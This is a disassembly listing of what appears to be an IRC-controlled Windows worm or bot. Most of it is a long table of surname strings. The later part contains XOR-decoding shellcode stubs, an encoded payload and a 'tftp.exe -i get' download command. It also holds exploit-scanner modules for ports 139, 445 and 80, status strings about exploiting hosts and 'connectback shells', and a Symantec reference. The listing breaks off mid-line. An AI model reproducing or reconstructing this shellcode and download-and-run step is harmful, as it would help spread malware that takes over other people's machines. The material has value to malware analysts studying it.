; DATA XREF: ___:0042DA38o align 10h aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042DA34o align 4 aDelapena db 'DeLaPena',0 ; DATA XREF: ___:0042DA30o align 4 aDegennaro db 'DeGennaro',0 ; DATA XREF: ___:0042DA2Co align 4 aDawkins db 'Dawkins',0 ; DATA XREF: ___:0042DA28o aDavid db 'David',0 ; DATA XREF: ___:0042DA24o align 4 aDaskalu db 'Daskalu',0 ; DATA XREF: ___:0042DA20o aDasgupta db 'Dasgupta',0 ; DATA XREF: ___:0042DA1Co align 4 aDas db 'Das',0 ; DATA XREF: ___:0042DA18o aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042DA14o aDapice db 'Dapice',0 ; DATA XREF: ___:0042DA10o align 10h aDante db 'Dante',0 ; DATA XREF: ___:0042DA0Co align 4 aDanieli db 'Danieli',0 ; DATA XREF: ___:0042DA08o aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: ___:0042DA04o aDaly db 'Daly',0 ; DATA XREF: ___:0042DA00o align 10h aDaldalian db 'Daldalian',0 ; DATA XREF: ___:0042D9FCo align 4 aDasilva db 'daSilva',0 ; DATA XREF: ___:0042D9F8o aCyders db 'Cyders',0 ; DATA XREF: ___:0042D9F4o align 4 aCvek db 'Cvek',0 ; DATA XREF: ___:0042D9F0o align 4 aCutler db 'Cutler',0 ; DATA XREF: ___:0042D9ECo align 4 aCurrier db 'Currier',0 ; DATA XREF: ___:0042D9E8o aCui db 'Cui',0 ; DATA XREF: ___:0042D9E4o aCroxton db 'Croxton',0 ; DATA XREF: ___:0042D9E0o aCroxen db 'Croxen',0 ; DATA XREF: ___:0042D9DCo align 4 aCroshaw db 'Croshaw',0 ; DATA XREF: ___:0042D9D8o aCrocker db 'Crocker',0 ; DATA XREF: ___:0042D9D4o aCrawford db 'Crawford',0 ; DATA XREF: ___:0042D9D0o align 4 aCoutaux db 'Coutaux',0 ; DATA XREF: ___:0042D9CCo aCounter db 'Counter',0 ; DATA XREF: ___:0042D9C8o aCosmides db 'Cosmides',0 ; DATA XREF: ___:0042D9C4o align 10h aCornish db 'Cornish',0 ; DATA XREF: ___:0042D9C0o aCorey db 'Corey',0 ; DATA XREF: ___:0042D9BCo align 10h aConnors db 'Connors',0 ; DATA XREF: ___:0042D9B8o aCondodina db 'Condodina',0 ; DATA XREF: ___:0042D9B4o align 4 aConcino db 'Concino',0 ; DATA XREF: ___:0042D9B0o aComstock db 'Comstock',0 ; DATA XREF: ___:0042D9ACo align 4 aCompton db 'Compton',0 ; DATA XREF: ___:0042D9A4o ; ___:0042D9A8o aCollis db 'Collis',0 ; DATA XREF: ___:0042D9A0o align 4 aCollard db 'Collard',0 ; DATA XREF: ___:0042D99Co aColella db 'Colella',0 ; DATA XREF: ___:0042D998o aColdren db 'Coldren',0 ; DATA XREF: ___:0042D994o aCoito db 'Coito',0 ; DATA XREF: ___:0042D990o align 4 aCoblenz db 'Coblenz',0 ; DATA XREF: ___:0042D98Co aClow db 'Clow',0 ; DATA XREF: ___:0042D988o align 4 aClifton db 'Clifton',0 ; DATA XREF: ___:0042D984o aClement db 'Clement',0 ; DATA XREF: ___:0042D980o aClark db 'Clark',0 ; DATA XREF: ___:0042D97Co align 10h aClancy db 'Clancy',0 ; DATA XREF: ___:0042D978o align 4 aClaffey db 'Claffey',0 ; DATA XREF: ___:0042D974o aCifarelli db 'Cifarelli',0 ; DATA XREF: ___:0042D970o align 4 aCicero db 'Cicero',0 ; DATA XREF: ___:0042D96Co align 4 aCiampaglia db 'Ciampaglia',0 ; DATA XREF: ___:0042D968o align 10h aChurch db 'Church',0 ; DATA XREF: ___:0042D964o align 4 aChupasko db 'Chupasko',0 ; DATA XREF: ___:0042D960o align 4 aChu db 'Chu',0 ; DATA XREF: ___:0042D95Co aChristopher db 'Christopher',0 ; DATA XREF: ___:0042D958o aChristie db 'Christie',0 ; DATA XREF: ___:0042D954o align 10h aChristiano db 'Christiano',0 ; DATA XREF: ___:0042D950o align 4 aChristian db 'Christian',0 ; DATA XREF: ___:0042D94Co align 4 aChristenson db 'Christenson',0 ; DATA XREF: ___:0042D948o aChinman db 'Chinman',0 ; DATA XREF: ___:0042D944o aChinipardaz db 'Chinipardaz',0 ; DATA XREF: ___:0042D940o aChilds db 'Childs',0 ; DATA XREF: ___:0042D93Co align 10h aChildress db 'Childress',0 ; DATA XREF: ___:0042D938o align 4 aChien db 'Chien',0 ; DATA XREF: ___:0042D934o align 4 aChiassino db 'Chiassino',0 ; DATA XREF: ___:0042D930o align 10h aChervinsky db 'Chervinsky',0 ; DATA XREF: ___:0042D92Co align 4 aCherry db 'Cherry',0 ; DATA XREF: ___:0042D928o align 4 aCheang db 'Cheang',0 ; DATA XREF: ___:0042D924o align 4 aCharles db 'Charles',0 ; DATA XREF: ___:0042D920o aChapman db 'Chapman',0 ; DATA XREF: ___:0042D91Co aCerioli db 'Cerioli',0 ; DATA XREF: ___:0042D918o aCeniceros db 'Ceniceros',0 ; DATA XREF: ___:0042D914o align 10h aCavell db 'Cavell',0 ; DATA XREF: ___:0042D910o align 4 aCavanagh db 'Cavanagh',0 ; DATA XREF: ___:0042D90Co align 4 aCastelda db 'Castelda',0 ; DATA XREF: ___:0042D908o align 10h aCaspar db 'Caspar',0 ; DATA XREF: ___:0042D904o align 4 aCase db 'Case',0 ; DATA XREF: ___:0042D900o align 10h aCascio db 'Cascio',0 ; DATA XREF: ___:0042D8FCo align 4 aCartmill db 'Cartmill',0 ; DATA XREF: ___:0042D8F8o align 4 aCarper db 'Carper',0 ; DATA XREF: ___:0042D8F4o align 4 aCaroti db 'Caroti',0 ; DATA XREF: ___:0042D8F0o align 4 aCarmichael db 'Carmichael',0 ; DATA XREF: ___:0042D8ECo align 10h aCarlyle db 'Carlyle',0 ; DATA XREF: ___:0042D8E8o aCarlos db 'Carlos',0 ; DATA XREF: ___:0042D8E4o align 10h aCarlin db 'Carlin',0 ; DATA XREF: ___:0042D8E0o align 4 aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: ___:0042D8DCo aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: ___:0042D8D8o aCapursi db 'Capursi',0 ; DATA XREF: ___:0042D8D4o aCappuccio db 'Cappuccio',0 ; DATA XREF: ___:0042D8D0o align 4 aCapodilupo db 'Capodilupo',0 ; DATA XREF: ___:0042D8CCo align 4 aCapocaccia db 'Capocaccia',0 ; DATA XREF: ___:0042D8C8o align 10h aCaperton db 'Caperton',0 ; DATA XREF: ___:0042D8C4o align 4 aCapanni db 'Capanni',0 ; DATA XREF: ___:0042D8C0o aCanley db 'Canley',0 ; DATA XREF: ___:0042D8BCo align 4 aCammilleri db 'Cammilleri',0 ; DATA XREF: ___:0042D8B8o align 4 aCammelli db 'Cammelli',0 ; DATA XREF: ___:0042D8B4o align 4 aCalnan db 'Calnan',0 ; DATA XREF: ___:0042D8B0o align 4 aCage db 'Cage',0 ; DATA XREF: ___:0042D8ACo align 4 aByrd db 'Byrd',0 ; DATA XREF: ___:0042D8A8o align 4 aByerly db 'Byerly',0 ; DATA XREF: ___:0042D8A4o align 4 aByatt db 'Byatt',0 ; DATA XREF: ___:0042D8A0o align 4 aBusetta db 'Busetta',0 ; DATA XREF: ___:0042D89Co aBurridge db 'Burridge',0 ; DATA XREF: ___:0042D898o align 10h aBurke db 'Burke',0 ; DATA XREF: ___:0042D894o align 4 aBurdzy db 'Burdzy',0 ; DATA XREF: ___:0042D890o align 10h aBurden db 'Burden',0 ; DATA XREF: ___:0042D88Co align 4 aBunton db 'Bunton',0 ; DATA XREF: ___:0042D888o align 10h aBullard db 'Bullard',0 ; DATA XREF: ___:0042D884o aBudding db 'Budding',0 ; DATA XREF: ___:0042D880o aBuchan db 'Buchan',0 ; DATA XREF: ___:0042D87Co align 4 aBrzycki db 'Brzycki',0 ; DATA XREF: ___:0042D878o aBrook db 'Brook',0 ; DATA XREF: ___:0042D874o align 4 aBroca db 'Broca',0 ; DATA XREF: ___:0042D870o align 10h aBritz db 'Britz',0 ; DATA XREF: ___:0042D86Co align 4 aBrinton db 'Brinton',0 ; DATA XREF: ___:0042D868o aBridges db 'Bridges',0 ; DATA XREF: ___:0042D864o aBridgeman db 'Bridgeman',0 ; DATA XREF: ___:0042D860o align 4 aBrewer db 'Brewer',0 ; DATA XREF: ___:0042D858o ; ___:0042D85Co align 4 aBrennan db 'Brennan',0 ; DATA XREF: ___:0042D854o aBrenan db 'Brenan',0 ; DATA XREF: ___:0042D850o align 4 aBreed db 'Breed',0 ; DATA XREF: ___:0042D84Co align 4 aBrecht db 'Brecht',0 ; DATA XREF: ___:0042D848o align 4 aBradach db 'Bradach',0 ; DATA XREF: ___:0042D844o aBradac db 'Bradac',0 ; DATA XREF: ___:0042D840o align 4 aBracalente db 'Bracalente',0 ; DATA XREF: ___:0042D83Co align 4 aBoyne db 'Boyne',0 ; DATA XREF: ___:0042D838o align 10h aBoym db 'Boym',0 ; DATA XREF: ___:0042D834o align 4 aBoyland db 'Boyland',0 ; DATA XREF: ___:0042D830o aBoyes db 'Boyes',0 ; DATA XREF: ___:0042D82Co align 4 aBoyajian db 'Boyajian',0 ; DATA XREF: ___:0042D828o align 4 aBoxer db 'Boxer',0 ; DATA XREF: ___:0042D824o align 4 aBowers db 'Bowers',0 ; DATA XREF: ___:0042D820o align 4 aBourneuf db 'Bourneuf',0 ; DATA XREF: ___:0042D81Co align 10h aBoudrot db 'Boudrot',0 ; DATA XREF: ___:0042D818o aBoudin db 'Boudin',0 ; DATA XREF: ___:0042D814o align 10h aBotosh db 'Botosh',0 ; DATA XREF: ___:0042D810o align 4 aBothman db 'Bothman',0 ; DATA XREF: ___:0042D80Co aBossi db 'Bossi',0 ; DATA XREF: ___:0042D808o align 4 aBorden db 'Borden',0 ; DATA XREF: ___:0042D804o align 10h aBorack db 'Borack',0 ; DATA XREF: ___:0042D800o align 4 aBoorstin db 'Boorstin',0 ; DATA XREF: ___:0042D7FCo align 4 aBoone db 'Boone',0 ; DATA XREF: ___:0042D7F8o align 4 aBookbinder db 'Bookbinder',0 ; DATA XREF: ___:0042D7F4o align 4 aBook db 'Book',0 ; DATA XREF: ___:0042D7F0o align 10h aBontempo db 'Bontempo',0 ; DATA XREF: ___:0042D7ECo align 4 aBoniface db 'Boniface',0 ; DATA XREF: ___:0042D7E8o align 4 aBonham db 'Bonham',0 ; DATA XREF: ___:0042D7E4o align 10h aBoner db 'Boner',0 ; DATA XREF: ___:0042D7E0o align 4 aBologna db 'Bologna',0 ; DATA XREF: ___:0042D7DCo aBollinger db 'Bollinger',0 ; DATA XREF: ___:0042D7D8o align 4 aBolick db 'Bolick',0 ; DATA XREF: ___:0042D7D4o align 4 aBolger db 'Bolger',0 ; DATA XREF: ___:0042D7D0o align 4 aBlyth db 'Blyth',0 ; DATA XREF: ___:0042D7CCo align 4 aBloxham db 'Bloxham',0 ; DATA XREF: ___:0042D7C8o aBloemhof db 'Bloemhof',0 ; DATA XREF: ___:0042D7C4o align 4 aBloembergen db 'Bloembergen',0 ; DATA XREF: ___:0042D7C0o aBloch db 'Bloch',0 ; DATA XREF: ___:0042D7BCo align 4 aBlizard db 'Blizard',0 ; DATA XREF: ___:0042D7B8o aBliss db 'Bliss',0 ; DATA XREF: ___:0042D7B4o align 4 aBlanke db 'Blanke',0 ; DATA XREF: ___:0042D7B0o align 4 aBlakemore db 'Blakemore',0 ; DATA XREF: ___:0042D7ACo align 10h aBlagg db 'Blagg',0 ; DATA XREF: ___:0042D7A8o align 4 aBlackwell db 'Blackwell',0 ; DATA XREF: ___:0042D7A4o align 4 aBlackbourn db 'Blackbourn',0 ; DATA XREF: ___:0042D7A0o align 10h aBisho db 'Bisho',0 ; DATA XREF: ___:0042D79Co align 4 aBisema db 'Bisema',0 ; DATA XREF: ___:0042D798o align 10h aBir db 'Bir',0 ; DATA XREF: ___:0042D794o aBinion db 'Binion',0 ; DATA XREF: ___:0042D790o align 4 aBickel db 'Bickel',0 ; DATA XREF: ___:0042D78Co align 4 aBiagioli db 'Biagioli',0 ; DATA XREF: ___:0042D788o align 10h aBeynart db 'Beynart',0 ; DATA XREF: ___:0042D784o aBetti db 'Betti',0 ; DATA XREF: ___:0042D780o align 10h aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: ___:0042D77Co align 10h aBernston db 'Bernston',0 ; DATA XREF: ___:0042D778o align 4 aBernassola db 'Bernassola',0 ; DATA XREF: ___:0042D774o align 4 aBernardo db 'Bernardo',0 ; DATA XREF: ___:0042D770o align 4 aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: ___:0042D76Co align 4 aBergson db 'Bergson',0 ; DATA XREF: ___:0042D768o aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: ___:0042D764o align 4 aBelloc db 'Belloc',0 ; DATA XREF: ___:0042D760o align 4 aBellini db 'Bellini',0 ; DATA XREF: ___:0042D75Co aBellhouse db 'Bellhouse',0 ; DATA XREF: ___:0042D758o align 4 aBellavance db 'Bellavance',0 ; DATA XREF: ___:0042D754o align 4 aBelinCollart db 'Belin-Collart',0 ; DATA XREF: ___:0042D750o align 4 aBelfer db 'Belfer',0 ; DATA XREF: ___:0042D74Co align 4 aBelaoussof db 'Belaoussof',0 ; DATA XREF: ___:0042D748o align 4 aBelanger db 'Belanger',0 ; DATA XREF: ___:0042D744o align 4 aBehenna db 'Behenna',0 ; DATA XREF: ___:0042D740o aBedford db 'Bedford',0 ; DATA XREF: ___:0042D73Co aBeder db 'Beder',0 ; DATA XREF: ___:0042D738o align 4 aBeckman db 'Beckman',0 ; DATA XREF: ___:0042D734o aBean db 'Bean',0 ; DATA XREF: ___:0042D730o align 4 aBeal db 'Beal',0 ; DATA XREF: ___:0042D72Co align 4 aBeacon db 'Beacon',0 ; DATA XREF: ___:0042D728o align 4 aBayo db 'Bayo',0 ; DATA XREF: ___:0042D724o align 4 aBayles db 'Bayles',0 ; DATA XREF: ___:0042D720o align 4 aBaumiller db 'Baumiller',0 ; DATA XREF: ___:0042D71Co align 4 aBatchelder db 'Batchelder',0 ; DATA XREF: ___:0042D718o align 4 aBashevis db 'Bashevis',0 ; DATA XREF: ___:0042D714o align 10h aBasavappa db 'Basavappa',0 ; DATA XREF: ___:0042D710o align 4 aBartoo db 'Bartoo',0 ; DATA XREF: ___:0042D70Co align 4 aBartolome db 'Bartolome',0 ; DATA XREF: ___:0042D708o align 10h aBartholomew db 'Bartholomew',0 ; DATA XREF: ___:0042D704o aBarry db 'Barry',0 ; DATA XREF: ___:0042D700o align 4 aBarriola db 'Barriola',0 ; DATA XREF: ___:0042D6FCo align 10h aBarnett db 'Barnett',0 ; DATA XREF: ___:0042D6F8o aBarneson db 'Barneson',0 ; DATA XREF: ___:0042D6F4o align 4 aBarbetti db 'Barbetti',0 ; DATA XREF: ___:0042D6F0o align 10h aBarberi db 'Barberi',0 ; DATA XREF: ___:0042D6ECo aBaranowska db 'Baranowska',0 ; DATA XREF: ___:0042D6E8o align 4 aBaranczak db 'Baranczak',0 ; DATA XREF: ___:0042D6E4o align 10h aBarajas db 'Barajas',0 ; DATA XREF: ___:0042D6E0o aBarabesi db 'Barabesi',0 ; DATA XREF: ___:0042D6DCo align 4 aBanta db 'Banta',0 ; DATA XREF: ___:0042D6D8o align 4 aBaltz db 'Baltz',0 ; DATA XREF: ___:0042D6D4o align 4 aBallew db 'Ballew',0 ; DATA XREF: ___:0042D6D0o align 4 aBallatori db 'Ballatori',0 ; DATA XREF: ___:0042D6CCo align 4 aBaleja db 'Baleja',0 ; DATA XREF: ___:0042D6C8o align 10h aBakanowsky db 'Bakanowsky',0 ; DATA XREF: ___:0042D6C4o align 4 aBailar db 'Bailar',0 ; DATA XREF: ___:0042D6C0o align 4 aBagnold db 'Bagnold',0 ; DATA XREF: ___:0042D6BCo aBaglivo db 'Baglivo',0 ; DATA XREF: ___:0042D6B8o aBady db 'Bady',0 ; DATA XREF: ___:0042D6B4o align 4 aBackus db 'Backus',0 ; DATA XREF: ___:0042D6B0o align 4 aBachmuth db 'Bachmuth',0 ; DATA XREF: ___:0042D6ACo align 10h aAzima db 'Azima',0 ; DATA XREF: ___:0042D6A8o align 4 aAyling db 'Ayling',0 ; DATA XREF: ___:0042D6A4o align 10h aAykroyd db 'Aykroyd',0 ; DATA XREF: ___:0042D6A0o aAyiemba db 'Ayiemba',0 ; DATA XREF: ___:0042D69Co aAxworthy db 'Axworthy',0 ; DATA XREF: ___:0042D698o align 4 aAxelrod db 'Axelrod',0 ; DATA XREF: ___:0042D694o aAurelius db 'Aurelius',0 ; DATA XREF: ___:0042D690o align 10h aAugustus db 'Augustus',0 ; DATA XREF: ___:0042D68Co align 4 aAtkins db 'Atkins',0 ; DATA XREF: ___:0042D688o align 4 aArky db 'Arky',0 ; DATA XREF: ___:0042D684o align 4 aArjas db 'Arjas',0 ; DATA XREF: ___:0042D680o align 4 aAristotle db 'Aristotle',0 ; DATA XREF: ___:0042D67Co align 10h aArellano db 'Arellano',0 ; DATA XREF: ___:0042D678o align 4 aArduini db 'Arduini',0 ; DATA XREF: ___:0042D674o aArbia db 'Arbia',0 ; DATA XREF: ___:0042D670o align 4 aAntos db 'Antos',0 ; DATA XREF: ___:0042D66Co align 4 aAnthony db 'Anthony',0 ; DATA XREF: ___:0042D668o aAnsley db 'Ansley',0 ; DATA XREF: ___:0042D664o align 4 aAnfinrud db 'Anfinrud',0 ; DATA XREF: ___:0042D660o align 10h aAndron db 'Andron',0 ; DATA XREF: ___:0042D65Co align 4 aAndrelus db 'Andrelus',0 ; DATA XREF: ___:0042D658o align 4 aAndo db 'Ando',0 ; DATA XREF: ___:0042D654o align 4 aAndel db 'Andel',0 ; DATA XREF: ___:0042D650o align 4 aAnand db 'Anand',0 ; DATA XREF: ___:0042D64Co align 4 aAmsden db 'Amsden',0 ; DATA XREF: ___:0042D648o align 4 aAmeer db 'Ameer',0 ; DATA XREF: ___:0042D644o align 4 aAmatangelo db 'Amatangelo',0 ; DATA XREF: ___:0042D640o align 4 aAmaral db 'Amaral',0 ; DATA XREF: ___:0042D63Co align 10h aAltenhofen db 'Altenhofen',0 ; DATA XREF: ___:0042D638o align 4 aAltenberger db 'Altenberger',0 ; DATA XREF: ___:0042D634o aAltavilla db 'Altavilla',0 ; DATA XREF: ___:0042D630o align 4 aAlongi db 'Alongi',0 ; DATA XREF: ___:0042D62Co align 4 aAllison db 'Allison',0 ; DATA XREF: ___:0042D628o aAleks db 'Aleks',0 ; DATA XREF: ___:0042D624o align 4 aAlda db 'Alda',0 ; DATA XREF: ___:0042D620o align 4 aAlcorn db 'Alcorn',0 ; DATA XREF: ___:0042D61Co align 4 aAlavi db 'Alavi',0 ; DATA XREF: ___:0042D618o align 4 aAhlers db 'Ahlers',0 ; DATA XREF: ___:0042D614o align 4 aAdorno db 'Adorno',0 ; DATA XREF: ___:0042D610o align 4 aAdibe db 'Adibe',0 ; DATA XREF: ___:0042D60Co align 4 aAdelstein db 'Adelstein',0 ; DATA XREF: ___:0042D608o align 4 aAddison db 'Addison',0 ; DATA XREF: ___:off_42D604o aAdams db 'Adams',0 ; DATA XREF: ___:0042D600o align 4 aAckerman db 'Ackerman',0 ; DATA XREF: ___:0042D5FCo align 4 aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: ___:off_42D5F8o align 10h byte_431250 db 50h ; DATA XREF: ___:0040ADEFo ; ___:0040ADFCr db 43h, 2 dup(0) dword_431254 dd 7C7325h ; DATA XREF: ___:0040AE9Ao dword_431258 dd 5D73255Bh, 7Ch ; DATA XREF: ___:0040AFA4o dword_431260 dd 3F3F3Fh ; DATA XREF: ___:loc_40AF9Bo ; sub_41AA42:loc_41AB05o dword_431264 dd 334B32h ; DATA XREF: ___:0040AF94o dword_431268 dd 5058h ; DATA XREF: ___:0040AF86o ; sub_41AA42+AAo dword_43126C dd 4B32h ; DATA XREF: ___:0040AF76o ; sub_41AA42+98o dword_431270 dd 454Dh ; DATA XREF: ___:0040AF5Do ; sub_41AA42+7Eo dword_431274 dd 3839h ; DATA XREF: ___:0040AF4Do ; sub_41AA42+6Co dword_431278 dd 544Eh ; DATA XREF: ___:0040AF3Do ; sub_41AA42+5Ao dword_43127C dd 3539h ; DATA XREF: ___:0040AF2Fo ; sub_41AA42+46o dword_431280 dd 5D64255Bh, 7325h ; DATA XREF: sub_40AFEA+3Ao dword_431288 dd 5D4D5Bh ; DATA XREF: sub_40AFEA+2Co ; sub_40AFEA+57o aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40AFEA+18o ; sub_418211+5o align 4 jmp short loc_431298 ; --------------------------------------------------------------------------- loc_431296: ; CODE XREF: ___:loc_431298p jmp short loc_43129D ; --------------------------------------------------------------------------- loc_431298: ; CODE XREF: ___:00431294j call loc_431296 loc_43129D: ; CODE XREF: ___:loc_431296j pop ebx xor ecx, ecx mov cx, 0FFFFh loc_4312A4: ; CODE XREF: ___:004312A9j xor byte ptr [ebx+0Eh], 0FFh inc ebx loop loc_4312A4 add bl, ch add ch, bl add eax, 0FFFFF9E8h call fword ptr [ebx+31h] leave mov cl, 0FFh loc_4312BA: ; CODE XREF: ___:004312BFj xor byte ptr [ebx+0Ch], 0FFh inc ebx loop loc_4312BA ; --------------------------------------------------------------------------- db 3 dup(0) dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dd 12h aTftp_exeIGet db 'tftp.exe -i get ',0 ; --------------------------------------------------------------------------- push 0 call sub_43135C jnz short loc_431348 retn ; --------------------------------------------------------------------------- loc_431348: ; CODE XREF: ___:00431345j ; ___:00431355j call near ptr loc_43134D+1 loc_43134D: ; CODE XREF: ___:loc_431348p add [edx+0], ch call sub_43135C jz loc_431348 retn ; =============== S U B R O U T I N E ======================================= sub_43135C proc near ; CODE XREF: ___:00431340p ; ___:00431350p pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn sub_43135C endp ; --------------------------------------------------------------------------- align 4 dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B384+51o align 4 aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B384+35o align 10h aSym db 'sym',0 ; DATA XREF: sub_40C124+169o dd 0 db 2 dup(0) aSymantec db 'Symantec',0 ; DATA XREF: sub_40B7DA+30o align 4 dd 5 dup(0) dword_431408 dd 0B97h ; DATA XREF: sub_401ACD+1DA0r ; sub_401ACD+1DC9o ... off_43140C dd offset sub_40E0D0 ; DATA XREF: sub_40C124+1EAr dword_431410 dd 0 ; DATA XREF: sub_40B64A+2Eo ; ___:0040D495w ... dword_431414 dd 1 ; DATA XREF: sub_40BACD+1Fr dword_431418 dd 1 ; DATA XREF: sub_40BACD+3B3r dword_43141C dd 0 ; DATA XREF: sub_40BACD+292r dd 636E76h, 0 dd 6E760000h, 63h, 6 dup(0) dd 170Ch, 40E206h, 0 dd 2 dup(1), 0 aNet139 db 'net139',0 align 4 dd 654E0000h, 69706174h, 393331h, 5 dup(0) dd 8Bh, 40DF8Eh, 0 dd 2 dup(1), 0 aNet445 db 'net445',0 align 4 dd 654E0000h, 69706174h, 353434h, 5 dup(0) dd 1BDh, 40DF8Eh, 0 dd 2 dup(1), 0 aAsn80 db 'asn80',0 align 4 dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0) dd 50h, 40D2D9h, 0 dd 2 dup(1), 0 aAsn445 db 'asn445',0 align 4 dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0) dd 1BDh, 40D2D9h, 0 dd 2 dup(1), 0 aAsn139 db 'asn139',0 align 4 dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0) dd 8Bh, 40D2D9h, 0 dd 2 dup(1), 2 dup(0) dd 10100h, 0Eh dup(0) aAsn445_0 db 'asn445',0 align 4 db 2 dup(0) byte_4315EA db 1 ; DATA XREF: sub_401ACD:loc_4037E6r ; sub_401ACD+1D23o db 73h dd 6D79h, 0 dd 100h, 3 dup(0) ; --------------------------------------------------------------------------- jmp short loc_431616 ; =============== S U B R O U T I N E ======================================= sub_431606 proc near ; CODE XREF: sub_431606:loc_431616p pop edx dec edx xor ecx, ecx mov cx, 166h loc_43160E: ; CODE XREF: sub_431606+Cj xor byte ptr [edx+ecx], 99h loop loc_43160E jmp short loc_43161B ; --------------------------------------------------------------------------- loc_431616: ; CODE XREF: ___:00431604j call sub_431606 loc_43161B: ; CODE XREF: sub_431606+Ej jo short near ptr dword_4315A4+12h cwde cdq cdq retn sub_431606 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 21h, 95h, 69h dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h dd 0FAF899F7h, 0EDE9FCFAh, 99h aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40B64A+86o align 4 dword_431798 dd 25370320h, 203A0373h, 2C6425h ; DATA XREF: sub_40B64A+46o unk_4317A4 db 2Dh ; - ; DATA XREF: sub_40B64A+11o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aExploitStatist db 'Exploit Statistics:',0 unk_4317C4 db 2Dh ; - ; DATA XREF: sub_40B719+38o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h db 54h ; T db 72h, 61h, 6Eh db 73h ; s db 66h, 65h, 72h db 20h db 53h, 74h, 61h db 74h ; t db 69h, 73h, 74h db 69h ; i db 63h, 73h, 3Ah db 20h db 2, 54h, 46h db 54h ; T db 50h, 2, 3Ah db 20h db 25h, 64h, 2Ch db 20h db 2, 46h, 54h db 50h ; P db 2, 3Ah, 20h aDTotalDInS_ db '%d, Total %d in %s.',0 unk_43180C db 2Dh ; - ; DATA XREF: sub_40B785+22o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aDConnectbackSh db '%d connectback shells in %s.',0 align 4 aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40B7DA+7Fo dword_431848 dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40B7DA+40o dword_431858 dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh ; DATA XREF: sub_40B7DA+14o dd 7473694Ch, 3Ah unk_431874 db 2Dh ; - ; DATA XREF: ___:0040BA13o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFinishedExploi db '- finished exploiting %s (%d attempts)',0 unk_4318A8 db 2Dh ; - ; DATA XREF: ___:0040B921o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 db 2Dh, 20h, 74h db 72h ; r db 79h, 69h, 6Eh db 67h ; g db 20h, 2, 25h db 73h ; s db 2, 20h, 6Fh aNSPortD___ db 'n %s (port %d)...',0 align 4 unk_4318D8 db 2Dh ; - ; DATA XREF: sub_40BA56+42o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanNotActive_ db 'Scan not active.',0 align 4 unk_4318F8 db 2Dh ; - ; DATA XREF: sub_40BA56+2Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aCurrentIpS_ db 'Current IP: %s.',0 unk_431914 db 2Dh ; - ; DATA XREF: sub_40BACD+4B7o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 